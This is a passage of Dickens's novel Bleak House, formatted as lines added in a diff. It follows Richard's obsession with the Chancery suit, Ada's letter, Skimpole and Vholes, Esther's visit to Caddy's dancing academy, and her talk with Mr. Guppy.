+issue openly than covertly. I thank him for his goodwill and his
+protection, and he goes his road, and I go mine. The fact is, our
+roads are not the same. Under one of the wills in dispute, I should
+take much more than he. I don't mean to say that it is the one to be
+established, but there it is, and it has its chance."
+
+"I have not to learn from you, my dear Richard," said I, "of your
+letter. I had heard of it already without an offended or angry word."
+
+"Indeed?" replied Richard, softening. "I am glad I said he was an
+honourable man, out of all this wretched affair. But I always say
+that and have never doubted it. Now, my dear Esther, I know these
+views of mine appear extremely harsh to you, and will to Ada when you
+tell her what has passed between us. But if you had gone into the
+case as I have, if you had only applied yourself to the papers as I
+did when I was at Kenge's, if you only knew what an accumulation of
+charges and counter-charges, and suspicions and cross-suspicions,
+they involve, you would think me moderate in comparison."
+
+"Perhaps so," said I. "But do you think that, among those many
+papers, there is much truth and justice, Richard?"
+
+"There is truth and justice somewhere in the case, Esther--"
+
+"Or was once, long ago," said I.
+
+"Is--is--must be somewhere," pursued Richard impetuously, "and must
+be brought out. To allow Ada to be made a bribe and hush-money of is
+not the way to bring it out. You say the suit is changing me; John
+Jarndyce says it changes, has changed, and will change everybody who
+has any share in it. Then the greater right I have on my side when I
+resolve to do all I can to bring it to an end."
+
+"All you can, Richard! Do you think that in these many years no
+others have done all they could? Has the difficulty grown easier
+because of so many failures?"
+
+"It can't last for ever," returned Richard with a fierceness kindling
+in him which again presented to me that last sad reminder. "I am
+young and earnest, and energy and determination have done wonders
+many a time. Others have only half thrown themselves into it. I
+devote myself to it. I make it the object of my life."
+
+"Oh, Richard, my dear, so much the worse, so much the worse!"
+
+"No, no, no, don't you be afraid for me," he returned affectionately.
+"You're a dear, good, wise, quiet, blessed girl; but you have your
+prepossessions. So I come round to John Jarndyce. I tell you, my good
+Esther, when he and I were on those terms which he found so
+convenient, we were not on natural terms."
+
+"Are division and animosity your natural terms, Richard?"
+
+"No, I don't say that. I mean that all this business puts us on
+unnatural terms, with which natural relations are incompatible. See
+another reason for urging it on! I may find out when it's over that I
+have been mistaken in John Jarndyce. My head may be clearer when I am
+free of it, and I may then agree with what you say to-day. Very well.
+Then I shall acknowledge it and make him reparation."
+
+Everything postponed to that imaginary time! Everything held in
+confusion and indecision until then!
+
+"Now, my best of confidantes," said Richard, "I want my cousin Ada to
+understand that I am not captious, fickle, and wilful about John
+Jarndyce, but that I have this purpose and reason at my back. I wish
+to represent myself to her through you, because she has a great
+esteem and respect for her cousin John; and I know you will soften
+the course I take, even though you disapprove of it; and--and in
+short," said Richard, who had been hesitating through these words,
+"I--I don't like to represent myself in this litigious, contentious,
+doubting character to a confiding girl like Ada."
+
+I told him that he was more like himself in those latter words than
+in anything he had said yet.
+
+"Why," acknowledged Richard, "that may be true enough, my love. I
+rather feel it to be so. But I shall be able to give myself fair-play
+by and by. I shall come all right again, then, don't you be afraid."
+
+I asked him if this were all he wished me to tell Ada.
+
+"Not quite," said Richard. "I am bound not to withhold from her that
+John Jarndyce answered my letter in his usual manner, addressing me
+as 'My dear Rick,' trying to argue me out of my opinions, and telling
+me that they should make no difference in him. (All very well of
+course, but not altering the case.) I also want Ada to know that if I
+see her seldom just now, I am looking after her interests as well as
+my own--we two being in the same boat exactly--and that I hope she
+will not suppose from any flying rumours she may hear that I am at
+all light-headed or imprudent; on the contrary, I am always looking
+forward to the termination of the suit, and always planning in that
+direction. Being of age now and having taken the step I have taken, I
+consider myself free from any accountability to John Jarndyce; but
+Ada being still a ward of the court, I don't yet ask her to renew our
+engagement. When she is free to act for herself, I shall be myself
+once more and we shall both be in very different worldly
+circumstances, I believe. If you tell her all this with the advantage
+of your considerate way, you will do me a very great and a very kind
+service, my dear Esther; and I shall knock Jarndyce and Jarndyce on
+the head with greater vigour. Of course I ask for no secrecy at Bleak
+House."
+
+"Richard," said I, "you place great confidence in me, but I fear you
+will not take advice from me?"
+
+"It's impossible that I can on this subject, my dear girl. On any
+other, readily."
+
+As if there were any other in his life! As if his whole career and
+character were not being dyed one colour!
+
+"But I may ask you a question, Richard?"
+
+"I think so," said he, laughing. "I don't know who may not, if you
+may not."
+
+"You say, yourself, you are not leading a very settled life."
+
+"How can I, my dear Esther, with nothing settled!"
+
+"Are you in debt again?"
+
+"Why, of course I am," said Richard, astonished at my simplicity.
+
+"Is it of course?"
+
+"My dear child, certainly. I can't throw myself into an object so
+completely without expense. You forget, or perhaps you don't know,
+that under either of the wills Ada and I take something. It's only a
+question between the larger sum and the smaller. I shall be within
+the mark any way. Bless your heart, my excellent girl," said Richard,
+quite amused with me, "I shall be all right! I shall pull through, my
+dear!"
+
+I felt so deeply sensible of the danger in which he stood that I
+tried, in Ada's name, in my guardian's, in my own, by every fervent
+means that I could think of, to warn him of it and to show him some
+of his mistakes. He received everything I said with patience and
+gentleness, but it all rebounded from him without taking the least
+effect. I could not wonder at this after the reception his
+preoccupied mind had given to my guardian's letter, but I determined
+to try Ada's influence yet.
+
+So when our walk brought us round to the village again, and I went
+home to breakfast, I prepared Ada for the account I was going to give
+her and told her exactly what reason we had to dread that Richard was
+losing himself and scattering his whole life to the winds. It made
+her very unhappy, of course, though she had a far, far greater
+reliance on his correcting his errors than I could have--which was so
+natural and loving in my dear!--and she presently wrote him this
+little letter:
+
+
+   My dearest cousin,
+
+   Esther has told me all you said to her this morning. I
+   write this to repeat most earnestly for myself all that
+   she said to you and to let you know how sure I am that
+   you will sooner or later find our cousin John a pattern
+   of truth, sincerity, and goodness, when you will deeply,
+   deeply grieve to have done him (without intending it) so
+   much wrong.
+
+   I do not quite know how to write what I wish to say next,
+   but I trust you will understand it as I mean it. I have
+   some fears, my dearest cousin, that it may be partly for
+   my sake you are now laying up so much unhappiness for
+   yourself--and if for yourself, for me. In case this should
+   be so, or in case you should entertain much thought of me
+   in what you are doing, I most earnestly entreat and beg
+   you to desist. You can do nothing for my sake that will
+   make me half so happy as for ever turning your back upon
+   the shadow in which we both were born. Do not be angry
+   with me for saying this. Pray, pray, dear Richard, for my
+   sake, and for your own, and in a natural repugnance for
+   that source of trouble which had its share in making us
+   both orphans when we were very young, pray, pray, let it
+   go for ever. We have reason to know by this time that
+   there is no good in it and no hope, that there is nothing
+   to be got from it but sorrow.
+
+   My dearest cousin, it is needless for me to say that you
+   are quite free and that it is very likely you may find
+   some one whom you will love much better than your first
+   fancy. I am quite sure, if you will let me say so, that
+   the object of your choice would greatly prefer to follow
+   your fortunes far and wide, however moderate or poor, and
+   see you happy, doing your duty and pursuing your chosen
+   way, than to have the hope of being, or even to be, very
+   rich with you (if such a thing were possible) at the cost
+   of dragging years of procrastination and anxiety and of
+   your indifference to other aims. You may wonder at my
+   saying this so confidently with so little knowledge or
+   experience, but I know it for a certainty from my own
+   heart.
+
+   Ever, my dearest cousin, your most affectionate
+
+   Ada
+
+
+This note brought Richard to us very soon, but it made little change
+in him if any. We would fairly try, he said, who was right and who
+was wrong--he would show us--we should see! He was animated and
+glowing, as if Ada's tenderness had gratified him; but I could only
+hope, with a sigh, that the letter might have some stronger effect
+upon his mind on re-perusal than it assuredly had then.
+
+As they were to remain with us that day and had taken their places to
+return by the coach next morning, I sought an opportunity of speaking
+to Mr. Skimpole. Our out-of-door life easily threw one in my way, and
+I delicately said that there was a responsibility in encouraging
+Richard.
+
+"Responsibility, my dear Miss Summerson?" he repeated, catching at
+the word with the pleasantest smile. "I am the last man in the world
+for such a thing. I never was responsible in my life--I can't be."
+
+"I am afraid everybody is obliged to be," said I timidly enough, he
+being so much older and more clever than I.
+
+"No, really?" said Mr. Skimpole, receiving this new light with a most
+agreeable jocularity of surprise. "But every man's not obliged to be
+solvent? I am not. I never was. See, my dear Miss Summerson," he took
+a handful of loose silver and halfpence from his pocket, "there's so
+much money. I have not an idea how much. I have not the power of
+counting. Call it four and ninepence--call it four pound nine. They
+tell me I owe more than that. I dare say I do. I dare say I owe as
+much as good-natured people will let me owe. If they don't stop, why
+should I? There you have Harold Skimpole in little. If that's
+responsibility, I am responsible."
+
+The perfect ease of manner with which he put the money up again and
+looked at me with a smile on his refined face, as if he had been
+mentioning a curious little fact about somebody else, almost made me
+feel as if he really had nothing to do with it.
+
+"Now, when you mention responsibility," he resumed, "I am disposed to
+say that I never had the happiness of knowing any one whom I should
+consider so refreshingly responsible as yourself. You appear to me
+to be the very touchstone of responsibility. When I see you, my
+dear Miss Summerson, intent upon the perfect working of the whole
+little orderly system of which you are the centre, I feel inclined
+to say to myself--in fact I do say to myself very often--THAT'S
+responsibility!"
+
+It was difficult, after this, to explain what I meant; but I
+persisted so far as to say that we all hoped he would check and not
+confirm Richard in the sanguine views he entertained just then.
+
+"Most willingly," he retorted, "if I could. But, my dear Miss
+Summerson, I have no art, no disguise. If he takes me by the hand and
+leads me through Westminster Hall in an airy procession after
+fortune, I must go. If he says, 'Skimpole, join the dance!' I must
+join it. Common sense wouldn't, I know, but I have NO common sense."
+
+It was very unfortunate for Richard, I said.
+
+"Do you think so!" returned Mr. Skimpole. "Don't say that, don't say
+that. Let us suppose him keeping company with Common Sense--an
+excellent man--a good deal wrinkled--dreadfully practical--change for
+a ten-pound note in every pocket--ruled account-book in his
+hand--say, upon the whole, resembling a tax-gatherer. Our dear
+Richard, sanguine, ardent, overleaping obstacles, bursting with
+poetry like a young bud, says to this highly respectable companion,
+'I see a golden prospect before me; it's very bright, it's very
+beautiful, it's very joyous; here I go, bounding over the landscape
+to come at it!' The respectable companion instantly knocks him down
+with the ruled account-book; tells him in a literal, prosaic way that
+he sees no such thing; shows him it's nothing but fees, fraud,
+horsehair wigs, and black gowns. Now you know that's a painful
+change--sensible in the last degree, I have no doubt, but
+disagreeable. I can't do it. I haven't got the ruled account-book, I
+have none of the tax-gathering elements in my composition, I am not
+at all respectable, and I don't want to be. Odd perhaps, but so it
+is!"
+
+It was idle to say more, so I proposed that we should join Ada and
+Richard, who were a little in advance, and I gave up Mr. Skimpole in
+despair. He had been over the Hall in the course of the morning and
+whimsically described the family pictures as we walked. There were
+such portentous shepherdesses among the Ladies Dedlock dead and gone,
+he told us, that peaceful crooks became weapons of assault in their
+hands. They tended their flocks severely in buckram and powder and
+put their sticking-plaster patches on to terrify commoners as the
+chiefs of some other tribes put on their war-paint. There was a Sir
+Somebody Dedlock, with a battle, a sprung-mine, volumes of smoke,
+flashes of lightning, a town on fire, and a stormed fort, all in full
+action between his horse's two hind legs, showing, he supposed, how
+little a Dedlock made of such trifles. The whole race he represented
+as having evidently been, in life, what he called "stuffed people"--a
+large collection, glassy eyed, set up in the most approved manner on
+their various twigs and perches, very correct, perfectly free from
+animation, and always in glass cases.
+
+I was not so easy now during any reference to the name but that I
+felt it a relief when Richard, with an exclamation of surprise,
+hurried away to meet a stranger whom he first descried coming slowly
+towards us.
+
+"Dear me!" said Mr. Skimpole. "Vholes!"
+
+We asked if that were a friend of Richard's.
+
+"Friend and legal adviser," said Mr. Skimpole. "Now, my dear Miss
+Summerson, if you want common sense, responsibility, and
+respectability, all united--if you want an exemplary man--Vholes is
+THE man."
+
+We had not known, we said, that Richard was assisted by any gentleman
+of that name.
+
+"When he emerged from legal infancy," returned Mr. Skimpole, "he
+parted from our conversational friend Kenge and took up, I believe,
+with Vholes. Indeed, I know he did, because I introduced him to
+Vholes."
+
+"Had you known him long?" asked Ada.
+
+"Vholes? My dear Miss Clare, I had had that kind of acquaintance with
+him which I have had with several gentlemen of his profession. He had
+done something or other in a very agreeable, civil manner--taken
+proceedings, I think, is the expression--which ended in the
+proceeding of his taking ME. Somebody was so good as to step in and
+pay the money--something and fourpence was the amount; I forget the
+pounds and shillings, but I know it ended with fourpence, because it
+struck me at the time as being so odd that I could owe anybody
+fourpence--and after that I brought them together. Vholes asked me
+for the introduction, and I gave it. Now I come to think of it," he
+looked inquiringly at us with his frankest smile as he made the
+discovery, "Vholes bribed me, perhaps? He gave me something and
+called it commission. Was it a five-pound note? Do you know, I think
+it MUST have been a five-pound note!"
+
+His further consideration of the point was prevented by Richard's
+coming back to us in an excited state and hastily representing Mr.
+Vholes--a sallow man with pinched lips that looked as if they were
+cold, a red eruption here and there upon his face, tall and thin,
+about fifty years of age, high-shouldered, and stooping. Dressed in
+black, black-gloved, and buttoned to the chin, there was nothing so
+remarkable in him as a lifeless manner and a slow, fixed way he had
+of looking at Richard.
+
+"I hope I don't disturb you, ladies," said Mr. Vholes, and now I
+observed that he was further remarkable for an inward manner of
+speaking. "I arranged with Mr. Carstone that he should always know
+when his cause was in the Chancellor's paper, and being informed by
+one of my clerks last night after post time that it stood, rather
+unexpectedly, in the paper for to-morrow, I put myself into the coach
+early this morning and came down to confer with him."
+
+"Yes," said Richard, flushed, and looking triumphantly at Ada and me,
+"we don't do these things in the old slow way now. We spin along now!
+Mr. Vholes, we must hire something to get over to the post town in,
+and catch the mail to-night, and go up by it!"
+
+"Anything you please, sir," returned Mr. Vholes. "I am quite at your
+service."
+
+"Let me see," said Richard, looking at his watch. "If I run down to
+the Dedlock, and get my portmanteau fastened up, and order a gig, or
+a chaise, or whatever's to be got, we shall have an hour then before
+starting. I'll come back to tea. Cousin Ada, will you and Esther take
+care of Mr. Vholes when I am gone?"
+
+He was away directly, in his heat and hurry, and was soon lost in the
+dusk of evening. We who were left walked on towards the house.
+
+"Is Mr. Carstone's presence necessary to-morrow, Sir?" said I. "Can
+it do any good?"
+
+"No, miss," Mr. Vholes replied. "I am not aware that it can."
+
+Both Ada and I expressed our regret that he should go, then, only to
+be disappointed.
+
+"Mr. Carstone has laid down the principle of watching his own
+interests," said Mr. Vholes, "and when a client lays down his own
+principle, and it is not immoral, it devolves upon me to carry it
+out. I wish in business to be exact and open. I am a widower with
+three daughters--Emma, Jane, and Caroline--and my desire is so to
+discharge the duties of life as to leave them a good name. This
+appears to be a pleasant spot, miss."
+
+The remark being made to me in consequence of my being next him as we
+walked, I assented and enumerated its chief attractions.
+
+"Indeed?" said Mr. Vholes. "I have the privilege of supporting an
+aged father in the Vale of Taunton--his native place--and I admire
+that country very much. I had no idea there was anything so
+attractive here."
+
+To keep up the conversation, I asked Mr. Vholes if he would like to
+live altogether in the country.
+
+"There, miss," said he, "you touch me on a tender string. My health
+is not good (my digestion being much impaired), and if I had only
+myself to consider, I should take refuge in rural habits, especially
+as the cares of business have prevented me from ever coming much into
+contact with general society, and particularly with ladies' society,
+which I have most wished to mix in. But with my three daughters,
+Emma, Jane, and Caroline--and my aged father--I cannot afford to be
+selfish. It is true I have no longer to maintain a dear grandmother
+who died in her hundred and second year, but enough remains to render
+it indispensable that the mill should be always going."
+
+It required some attention to hear him on account of his inward
+speaking and his lifeless manner.
+
+"You will excuse my having mentioned my daughters," he said. "They
+are my weak point. I wish to leave the poor girls some little
+independence, as well as a good name."
+
+We now arrived at Mr. Boythorn's house, where the tea-table, all
+prepared, was awaiting us. Richard came in restless and hurried
+shortly afterwards, and leaning over Mr. Vholes's chair, whispered
+something in his ear. Mr. Vholes replied aloud--or as nearly aloud I
+suppose as he had ever replied to anything--"You will drive me, will
+you, sir? It is all the same to me, sir. Anything you please. I am
+quite at your service."
+
+We understood from what followed that Mr. Skimpole was to be left
+until the morning to occupy the two places which had been already
+paid for. As Ada and I were both in low spirits concerning Richard
+and very sorry so to part with him, we made it as plain as we
+politely could that we should leave Mr. Skimpole to the Dedlock Arms
+and retire when the night-travellers were gone.
+
+Richard's high spirits carrying everything before them, we all went
+out together to the top of the hill above the village, where he had
+ordered a gig to wait and where we found a man with a lantern
+standing at the head of the gaunt pale horse that had been harnessed
+to it.
+
+I never shall forget those two seated side by side in the lantern's
+light, Richard all flush and fire and laughter, with the reins in his
+hand; Mr. Vholes quite still, black-gloved, and buttoned up, looking
+at him as if he were looking at his prey and charming it. I have
+before me the whole picture of the warm dark night, the summer
+lightning, the dusty track of road closed in by hedgerows and high
+trees, the gaunt pale horse with his ears pricked up, and the driving
+away at speed to Jarndyce and Jarndyce.
+
+My dear girl told me that night how Richard's being thereafter
+prosperous or ruined, befriended or deserted, could only make this
+difference to her, that the more he needed love from one unchanging
+heart, the more love that unchanging heart would have to give him;
+how he thought of her through his present errors, and she would think
+of him at all times--never of herself if she could devote herself to
+him, never of her own delights if she could minister to his.
+
+And she kept her word?
+
+I look along the road before me, where the distance already shortens
+and the journey's end is growing visible; and true and good above the
+dead sea of the Chancery suit and all the ashy fruit it cast ashore,
+I think I see my darling.
+
+
+
+
+CHAPTER XXXVIII
+
+A Struggle
+
+
+When our time came for returning to Bleak House again, we were
+punctual to the day and were received with an overpowering welcome. I
+was perfectly restored to health and strength, and finding my
+housekeeping keys laid ready for me in my room, rang myself in as if
+I had been a new year, with a merry little peal. "Once more, duty,
+duty, Esther," said I; "and if you are not overjoyed to do it, more
+than cheerfully and contentedly, through anything and everything, you
+ought to be. That's all I have to say to you, my dear!"
+
+The first few mornings were mornings of so much bustle and business,
+devoted to such settlements of accounts, such repeated journeys to
+and fro between the growlery and all other parts of the house, so
+many rearrangements of drawers and presses, and such a general new
+beginning altogether, that I had not a moment's leisure. But when
+these arrangements were completed and everything was in order, I paid
+a visit of a few hours to London, which something in the letter I had
+destroyed at Chesney Wold had induced me to decide upon in my own
+mind.
+
+I made Caddy Jellyby--her maiden name was so natural to me that I
+always called her by it--the pretext for this visit and wrote her a
+note previously asking the favour of her company on a little business
+expedition. Leaving home very early in the morning, I got to London
+by stage-coach in such good time that I got to Newman Street with the
+day before me.
+
+Caddy, who had not seen me since her wedding-day, was so glad and so
+affectionate that I was half inclined to fear I should make her
+husband jealous. But he was, in his way, just as bad--I mean as good;
+and in short it was the old story, and nobody would leave me any
+possibility of doing anything meritorious.
+
+The elder Mr. Turveydrop was in bed, I found, and Caddy was
+milling his chocolate, which a melancholy little boy who was an
+apprentice--it seemed such a curious thing to be apprenticed to the
+trade of dancing--was waiting to carry upstairs. Her father-in-law
+was extremely kind and considerate, Caddy told me, and they lived
+most happily together. (When she spoke of their living together, she
+meant that the old gentleman had all the good things and all the good
+lodging, while she and her husband had what they could get, and were
+poked into two corner rooms over the Mews.)
+
+"And how is your mama, Caddy?" said I.
+
+"Why, I hear of her, Esther," replied Caddy, "through Pa, but I see
+very little of her. We are good friends, I am glad to say, but Ma
+thinks there is something absurd in my having married a
+dancing-master, and she is rather afraid of its extending to her."
+
+It struck me that if Mrs. Jellyby had discharged her own natural
+duties and obligations before she swept the horizon with a telescope
+in search of others, she would have taken the best precautions
+against becoming absurd, but I need scarcely observe that I kept this
+to myself.
+
+"And your papa, Caddy?"
+
+"He comes here every evening," returned Caddy, "and is so fond of
+sitting in the corner there that it's a treat to see him."
+
+Looking at the corner, I plainly perceived the mark of Mr. Jellyby's
+head against the wall. It was consolatory to know that he had found
+such a resting-place for it.
+
+"And you, Caddy," said I, "you are always busy, I'll be bound?"
+
+"Well, my dear," returned Caddy, "I am indeed, for to tell you a
+grand secret, I am qualifying myself to give lessons. Prince's health
+is not strong, and I want to be able to assist him. What with
+schools, and classes here, and private pupils, AND the apprentices,
+he really has too much to do, poor fellow!"
+
+The notion of the apprentices was still so odd to me that I asked
+Caddy if there were many of them.
+
+"Four," said Caddy. "One in-door, and three out. They are
+very good children; only when they get together they WILL
+play--children-like--instead of attending to their work. So the
+little boy you saw just now waltzes by himself in the empty kitchen,
+and we distribute the others over the house as well as we can."
+
+"That is only for their steps, of course?" said I.
+
+"Only for their steps," said Caddy. "In that way they practise, so
+many hours at a time, whatever steps they happen to be upon. They
+dance in the academy, and at this time of year we do figures at five
+every morning."
+
+"Why, what a laborious life!" I exclaimed.
+
+"I assure you, my dear," returned Caddy, smiling, "when the out-door
+apprentices ring us up in the morning (the bell rings into our room,
+not to disturb old Mr. Turveydrop), and when I put up the window and
+see them standing on the door-step with their little pumps under
+their arms, I am actually reminded of the Sweeps."
+
+All this presented the art to me in a singular light, to be sure.
+Caddy enjoyed the effect of her communication and cheerfully
+recounted the particulars of her own studies.
+
+"You see, my dear, to save expense I ought to know something of the
+piano, and I ought to know something of the kit too, and consequently
+I have to practise those two instruments as well as the details of
+our profession. If Ma had been like anybody else, I might have had
+some little musical knowledge to begin upon. However, I hadn't any;
+and that part of the work is, at first, a little discouraging, I must
+allow. But I have a very good ear, and I am used to drudgery--I have
+to thank Ma for that, at all events--and where there's a will there's
+a way, you know, Esther, the world over." Saying these words, Caddy
+laughingly sat down at a little jingling square piano and really
+rattled off a quadrille with great spirit. Then she good-humouredly
+and blushingly got up again, and while she still laughed herself,
+said, "Don't laugh at me, please; that's a dear girl!"
+
+I would sooner have cried, but I did neither. I encouraged her and
+praised her with all my heart. For I conscientiously believed,
+dancing-master's wife though she was, and dancing-mistress though in
+her limited ambition she aspired to be, she had struck out a natural,
+wholesome, loving course of industry and perseverance that was quite
+as good as a mission.
+
+"My dear," said Caddy, delighted, "you can't think how you cheer me.
+I shall owe you, you don't know how much. What changes, Esther, even
+in my small world! You recollect that first night, when I was so
+unpolite and inky? Who would have thought, then, of my ever teaching
+people to dance, of all other possibilities and impossibilities!"
+
+Her husband, who had left us while we had this chat, now coming back,
+preparatory to exercising the apprentices in the ball-room, Caddy
+informed me she was quite at my disposal. But it was not my time yet,
+I was glad to tell her, for I should have been vexed to take her away
+then. Therefore we three adjourned to the apprentices together, and I
+made one in the dance.
+
+The apprentices were the queerest little people. Besides the
+melancholy boy, who, I hoped, had not been made so by waltzing alone
+in the empty kitchen, there were two other boys and one dirty little
+limp girl in a gauzy dress. Such a precocious little girl, with such
+a dowdy bonnet on (that, too, of a gauzy texture), who brought her
+sandalled shoes in an old threadbare velvet reticule. Such mean
+little boys, when they were not dancing, with string, and marbles,
+and cramp-bones in their pockets, and the most untidy legs and
+feet--and heels particularly.
+
+I asked Caddy what had made their parents choose this profession for
+them. Caddy said she didn't know; perhaps they were designed for
+teachers, perhaps for the stage. They were all people in humble
+circumstances, and the melancholy boy's mother kept a ginger-beer
+shop.
+
+We danced for an hour with great gravity, the melancholy child doing
+wonders with his lower extremities, in which there appeared to be
+some sense of enjoyment though it never rose above his waist. Caddy,
+while she was observant of her husband and was evidently founded upon
+him, had acquired a grace and self-possession of her own, which,
+united to her pretty face and figure, was uncommonly agreeable. She
+already relieved him of much of the instruction of these young
+people, and he seldom interfered except to walk his part in the
+figure if he had anything to do in it. He always played the tune. The
+affectation of the gauzy child, and her condescension to the boys,
+was a sight. And thus we danced an hour by the clock.
+
+When the practice was concluded, Caddy's husband made himself ready
+to go out of town to a school, and Caddy ran away to get ready to go
+out with me. I sat in the ball-room in the interval, contemplating
+the apprentices. The two out-door boys went upon the staircase to put
+on their half-boots and pull the in-door boy's hair, as I judged from
+the nature of his objections. Returning with their jackets buttoned
+and their pumps stuck in them, they then produced packets of cold
+bread and meat and bivouacked under a painted lyre on the wall. The
+little gauzy child, having whisked her sandals into the reticule and
+put on a trodden-down pair of shoes, shook her head into the dowdy
+bonnet at one shake, and answering my inquiry whether she liked
+dancing by replying, "Not with boys," tied it across her chin, and
+went home contemptuous.
+
+"Old Mr. Turveydrop is so sorry," said Caddy, "that he has not
+finished dressing yet and cannot have the pleasure of seeing you
+before you go. You are such a favourite of his, Esther."
+
+I expressed myself much obliged to him, but did not think it
+necessary to add that I readily dispensed with this attention.
+
+"It takes him a long time to dress," said Caddy, "because he is very
+much looked up to in such things, you know, and has a reputation to
+support. You can't think how kind he is to Pa. He talks to Pa of an
+evening about the Prince Regent, and I never saw Pa so interested."
+
+There was something in the picture of Mr. Turveydrop bestowing his
+deportment on Mr. Jellyby that quite took my fancy. I asked Caddy if
+he brought her papa out much.
+
+"No," said Caddy, "I don't know that he does that, but he talks to
+Pa, and Pa greatly admires him, and listens, and likes it. Of course
+I am aware that Pa has hardly any claims to deportment, but they get
+on together delightfully. You can't think what good companions they
+make. I never saw Pa take snuff before in my life, but he takes one
+pinch out of Mr. Turveydrop's box regularly and keeps putting it to
+his nose and taking it away again all the evening."
+
+That old Mr. Turveydrop should ever, in the chances and changes of
+life, have come to the rescue of Mr. Jellyby from Borrioboola-Gha
+appeared to me to be one of the pleasantest of oddities.
+
+"As to Peepy," said Caddy with a little hesitation, "whom I was most
+afraid of--next to having any family of my own, Esther--as an
+inconvenience to Mr. Turveydrop, the kindness of the old gentleman to
+that child is beyond everything. He asks to see him, my dear! He lets
+him take the newspaper up to him in bed; he gives him the crusts of
+his toast to eat; he sends him on little errands about the house; he
+tells him to come to me for sixpences. In short," said Caddy
+cheerily, "and not to prose, I am a very fortunate girl and ought to
+be very grateful. Where are we going, Esther?"
+
+"To the Old Street Road," said I, "where I have a few words to say to
+the solicitor's clerk who was sent to meet me at the coach-office on
+the very day when I came to London and first saw you, my dear. Now I
+think of it, the gentleman who brought us to your house."
+
+"Then, indeed, I seem to be naturally the person to go with you,"
+returned Caddy.
+
+To the Old Street Road we went and there inquired at Mrs. Guppy's
+residence for Mrs. Guppy. Mrs. Guppy, occupying the parlours and
+having indeed been visibly in danger of cracking herself like a nut
+in the front-parlour door by peeping out before she was asked for,
+immediately presented herself and requested us to walk in. She was an
+old lady in a large cap, with rather a red nose and rather an
+unsteady eye, but smiling all over. Her close little sitting-room was
+prepared for a visit, and there was a portrait of her son in it
+which, I had almost written here, was more like than life: it
+insisted upon him with such obstinacy, and was so determined not to
+let him off.
+
+Not only was the portrait there, but we found the original there too.
+He was dressed in a great many colours and was discovered at a table
+reading law-papers with his forefinger to his forehead.
+
+"Miss Summerson," said Mr. Guppy, rising, "this is indeed an oasis.
+Mother, will you be so good as to put a chair for the other lady and
+get out of the gangway."
+
+Mrs. Guppy, whose incessant smiling gave her quite a waggish
+appearance, did as her son requested and then sat down in a corner,
+holding her pocket handkerchief to her chest, like a fomentation,
+with both hands.
+
+I presented Caddy, and Mr. Guppy said that any friend of mine was
+more than welcome. I then proceeded to the object of my visit.
+
+"I took the liberty of sending you a note, sir," said I.
+
+Mr. Guppy acknowledged the receipt by taking it out of his
+breast-pocket, putting it to his lips, and returning it to his pocket
+with a bow. Mr. Guppy's mother was so diverted that she rolled her
+head as she smiled and made a silent appeal to Caddy with her elbow.
+
+"Could I speak to you alone for a moment?" said I.
+
+Anything like the jocoseness of Mr. Guppy's mother just now, I think
+I never saw. She made no sound of laughter, but she rolled her head,
+and shook it, and put her handkerchief to her mouth, and appealed to
+Caddy with her elbow, and her hand, and her shoulder, and was so
+unspeakably entertained altogether that it was with some difficulty
+she could marshal Caddy through the little folding-door into her
+bedroom adjoining.
+
+"Miss Summerson," said Mr. Guppy, "you will excuse the waywardness of
+a parent ever mindful of a son's appiness. My mother, though highly
+exasperating to the feelings, is actuated by maternal dictates."
+
+I could hardly have believed that anybody could in a moment have
+turned so red or changed so much as Mr. Guppy did when I now put up
+my veil.
+
+"I asked the favour of seeing you for a few moments here," said I,
+"in preference to calling at Mr. Kenge's because, remembering what
+you said on an occasion when you spoke to me in confidence, I feared
+I might otherwise cause you some embarrassment, Mr. Guppy."
+
+I caused him embarrassment enough as it was, I am sure. I never saw
+such faltering, such confusion, such amazement and apprehension.
+
+"Miss Summerson," stammered Mr. Guppy, "I--I--beg your pardon, but in
+our profession--we--we--find it necessary to be explicit. You have
+referred to an occasion, miss, when I--when I did myself the honour
+of making a declaration which--"
+
+Something seemed to rise in his throat that he could not possibly
+swallow. He put his hand there, coughed, made faces, tried again to
+swallow it, coughed again, made faces again, looked all round the
+room, and fluttered his papers.
+
+"A kind of giddy sensation has come upon me, miss," he explained,
+"which rather knocks me over. I--er--a little subject to this sort of
+thing--er--by George!"
+
+I gave him a little time to recover. He consumed it in putting his
+hand to his forehead and taking it away again, and in backing his
+chair into the corner behind him.
+
+"My intention was to remark, miss," said Mr. Guppy, "dear
+me--something bronchial, I think--hem!--to remark that you was so
+good on that occasion as to repel and repudiate that declaration.
+You--you wouldn't perhaps object to admit that? Though no witnesses
+are present, it might be a satisfaction to--to your mind--if you was
+to put in that admission."
+
+"There can be no doubt," said I, "that I declined your proposal
+without any reservation or qualification whatever, Mr. Guppy."
+
+"Thank you, miss," he returned, measuring the table with his troubled
+hands. "So far that's satisfactory, and it does you credit. Er--this
+is certainly bronchial!--must be in the tubes--er--you wouldn't
+perhaps be offended if I was to mention--not that it's necessary, for
+your own good sense or any person's sense must show 'em that--if I
+was to mention that such declaration on my part was final, and there
+terminated?"
+
+"I quite understand that," said I.
+
+"Perhaps--er--it may not be worth the form, but it might be a
+satisfaction to your mind--perhaps you wouldn't object to admit that,
+miss?" said Mr. Guppy.
+
+"I admit it most fully and freely," said I.
+
+"Thank you," returned Mr. Guppy. "Very honourable, I am sure. I
+regret that my arrangements in life, combined with circumstances over
+which I have no control, will put it out of my power ever to fall
+back upon that offer or to renew it in any shape or form whatever,
+but it will ever be a retrospect entwined--er--with friendship's
+bowers." Mr. Guppy's bronchitis came to his relief and stopped his
+measurement of the table.
+
+"I may now perhaps mention what I wished to say to you?" I began.
+
+"I shall be honoured, I am sure," said Mr. Guppy. "I am so persuaded
+that your own good sense and right feeling, miss, will--will keep you
+as square as possible--that I can have nothing but pleasure, I am
+sure, in hearing any observations you may wish to offer."
+
+"You were so good as to imply, on that occasion--"
+
+"Excuse me, miss," said Mr. Guppy, "but we had better not travel out
+of the record into implication. I cannot admit that I implied
+anything."
+
+"You said on that occasion," I recommenced, "that you might possibly
+have the means of advancing my interests and promoting my fortunes by
+making discoveries of which I should be the subject. I presume that
+you founded that belief upon your general knowledge of my being an
+orphan girl, indebted for everything to the benevolence of Mr.
+Jarndyce. Now, the beginning and the end of what I have come to beg
+of you is, Mr. Guppy, that you will have the kindness to relinquish
+all idea of so serving me. I have thought of this sometimes, and I
+have thought of it most lately--since I have been ill. At length I
+have decided, in case you should at any time recall that purpose and
+act upon it in any way, to come to you and assure you that you are
+altogether mistaken. You could make no discovery in reference to me
+that would do me the least service or give me the least pleasure. I
+am acquainted with my personal history, and I have it in my power to
+assure you that you never can advance my welfare by such means. You
